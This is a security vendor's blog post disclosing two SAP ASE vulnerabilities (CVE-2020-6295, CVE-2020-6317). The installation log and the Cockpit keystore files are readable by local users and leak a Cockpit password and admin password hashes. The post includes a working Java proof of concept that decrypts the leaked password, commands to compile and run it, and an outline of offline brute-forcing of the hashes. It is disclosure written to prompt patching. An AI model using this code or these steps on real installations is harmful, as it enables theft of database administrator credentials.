Trustwave Unveils New Offerings to Maximize Value of Microsoft Security Investments. Learn More

Trustwave Unveils New Offerings to Maximize Value of Microsoft Security Investments. Learn More

Services
Capture
Managed Detection & Response

Eliminate active threats with 24/7 threat detection, investigation, and response.

twi-managed-portal-color
Co-Managed SOC (SIEM)

Maximize your SIEM investment, stop alert fatigue, and enhance your team with hybrid security operations support.

twi-briefcase-color-svg
Advisory & Diagnostics

Advance your cybersecurity program and get expert guidance where you need it most.

tw-laptop-data
Penetration Testing

Test your physical locations and IT infrastructure to shore up weaknesses before exploitation.

twi-database-color-svg
Database Security

Prevent unauthorized access and exceed compliance requirements.

twi-email-color-svg
Email Security

Stop email threats others miss and secure your organization against the #1 ransomware attack vector.

tw-officer
Digital Forensics & Incident Response

Prepare for the inevitable with 24/7 global breach response in-region and available on-site.

tw-network
Firewall & Technology Management

Mitigate risk of a cyberattack with 24/7 incident and health monitoring and the latest threat intelligence.

Solutions
BY TOPIC
Offensive Security
Solutions to maximize your security ROI
Microsoft Exchange Server Attacks
Stay protected against emerging threats
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
About Us
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Security Operations Platform
Trustwave Security Colony
Partners
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats
SpiderLabs Blog

SAP ASE Information Leaks: CVE-2020-6295 and CVE-2020-6317

Introduction

Today I'd like to discuss two information disclosure vulnerabilities that occur in SAP Adaptive Server Enterprise installation process. These days it’s quite common to discover sensitive information in application log files given the amount of data being processed and complexity of today’s products. Adaptive Server Enterprise is a quite complex product having multiple subsystems and some of them are involved in the vulnerabilities discussed below.

CVE-2020-6295: Install Data Leakage of Cockpit Password

Since SAP ASE is a complex product with many parts including but not limited to: the database server itself, backup server, XP server, Cockpit, client components, there several subsystems that write to the installation log file when DBA installs or upgrades an instance. The main installation file on Windows is %SYBASE%\log\ASE_Suite.log and is publicly readable as shown below:

C:\SAP>icacls C:\SAP\log\ASE_Suite.log
C:\SAP\log\ASE_Suite.log NT AUTHORITY\SYSTEM:(I)(F)
                         BUILTIN\Administrators:(I)(F)
                         BUILTIN\Users:(I)(RX)
Successfully processed 1 files; Failed processing 0 files

This means any local user can read it. Moving on, if the Cockpit component is installed and configured, there will be a line like this in the log file:

DEBUG>>> 05-18-20 21:27:19 : ConfigCockpitLogins.writeRepositoryPassword(): write enRepoPwd=1-AAAAEgQQB+3Q7M42wx5KfB/vy2q4HfZhiEasqjA8vSjPIZbbLrqb9KZFqdpyTBHk7reqCIUzsXIlcMc/jaXtaW8eDvBIqQ==

enRepoPwd is encrypted Cockpit repository password. How can it be decrypted? I did some investigation and found out that there are two more files necessary to decrypt the password:

%SYBASE%\COCKPIT-4\conf\csibootstrap.properties
%SYBASE%\COCKPIT-4\conf\csikeystore.jceks

Surprisingly, both are readable by Everyone! csibootstrap.properties contains keystore password while the csikeystore.jceks is the actual keystore. A very useful script for the research is C:\SAP\COCKPIT-4\bin\passencrypt.bat.

Time for Java proof-of-concept!

public class demo
{
            public static void main(String[] args) throws Exception
            {
                        com.sybase.ua.security.crypto.CSIEncryption.bootstrapCSI();
                        String password = com.sybase.ua.security.crypto.CSIEncryption.getInstance().getEncryptionTools().decrypt("1
AAAAEgQQB+3Q7M42wx5KfB/vy2q4HfZhiEasqjA8vSjPIZbbLrqb9KZFqdpyTBHk7reqCIUzsXIlcMc/jaXtaW8eDvBIqQ==");
                        System.out.println(password);
    }
}

To compile:

set COCKPIT_HOME=%SYBASE%\COCKPIT-4
set COCKPIT_STARTUP_CLASSPATH=%COCKPIT_HOME%\common\classes;%COCKPIT_HOME%\common\lib\commons-cli-1.1.jar;%COCKPIT_HOME%\server\lib\uaf-startup.jar
for %i in (%COCKPIT_HOME%\common\lib\*.jar) do @call set _clientCP=%_clientCP%;%i
set COCKPIT_CLIENT_CLASSPATH=%COCKPIT_STARTUP_CLASSPATH%;%_clientCP:/=\%
javac.exe -cp %COCKPIT_CLIENT_CLASSPATH%;. demo.java

To run:

"C:\SAP\Shared\SAPJRE-8_1_062_64BIT\bin\java.exe" -Dcom.sybase.ua.home=%SYBASE%\COCKPIT-4\ -cp %COCKPIT_CLIENT_CLASSPATH%;. demo

Once the password is decrypted, it can be used to view, modify and/or make any data associated with the Cockpit unavailable according to SAP note (https://launchpad.support.sap.com/#/notes/2941332).

CVE-2020-6317: Install Data Leakage of sccadmin and uafadmin Password Hashes

The same log file might contain strings like below if the Cockpit component is installed:

...
DEBUG>>> 05-18-20 21:27:18 : ConfigCockpitLogins.setCSIUserAndPassword(): write userName=sccadmin
DEBUG>>> 05-18-20 21:27:18 : ConfigCockpitLogins.setCSIUserAndPassword(): write encryptPwd={SHA-256:+EFnOPCybn0=}R2hjILOGw+9HuezqaOETTLEp3aES8tvgllXb8IL9W6E=
DEBUG>>> 05-18-20 21:27:18 : ConfigCockpitLogins.setCSIUserAndPassword(): write userName=uafadmin
DEBUG>>> 05-18-20 21:27:18 : ConfigCockpitLogins.setCSIUserAndPassword(): write encryptPwd={SHA-256:63brIY/QONU=}zmVB11zcCmEvCw/DGoEY01O4y3E0VkFjQwIizR2h6j4=
...

Essentially, this makes it possible to conduct an offline brute force attack against the accounts mentioned. The first step is to decode the salt from its base64 value and then just loop over a dictionary.

Conclusion

In the end, exploiting the vulnerabilities discussed here will allow a malicious user to either guess privileged user passwords (CVE-2020-6317) or just decrypt it (CVE-2020-6295) and then use compromised accounts for subsequent attacks. Do not wait: apply the vendor-provided patches ASAP.

Trustwave Advisory TWSL2020-006

Latest SpiderLabs Blogs

Search & Spoof: Abuse of Windows Search to Redirect to Malware

Trustwave SpiderLabs has detected a sophisticated malware campaign that leverages the Windows search functionality embedded in HTML code to deploy malware. We found the threat actors utilizing a...

Read More

The Sentinel’s Watch: Building a Security Reporting Framework

Imagine being on shift as the guard of a fortress. Your job is to identify threats as they approach the perimeter. The more methods you have for detecting those threats, the better your chances of...

Read More

Fake Advanced IP Scanner Installer Delivers Dangerous CobaltStrike Backdoor

During a recent client investigation, Trustwave SpiderLabs found a malicious version of the Advanced IP Scanner installer, which contained a backdoored DLL module. Our client had been searching for...

Read More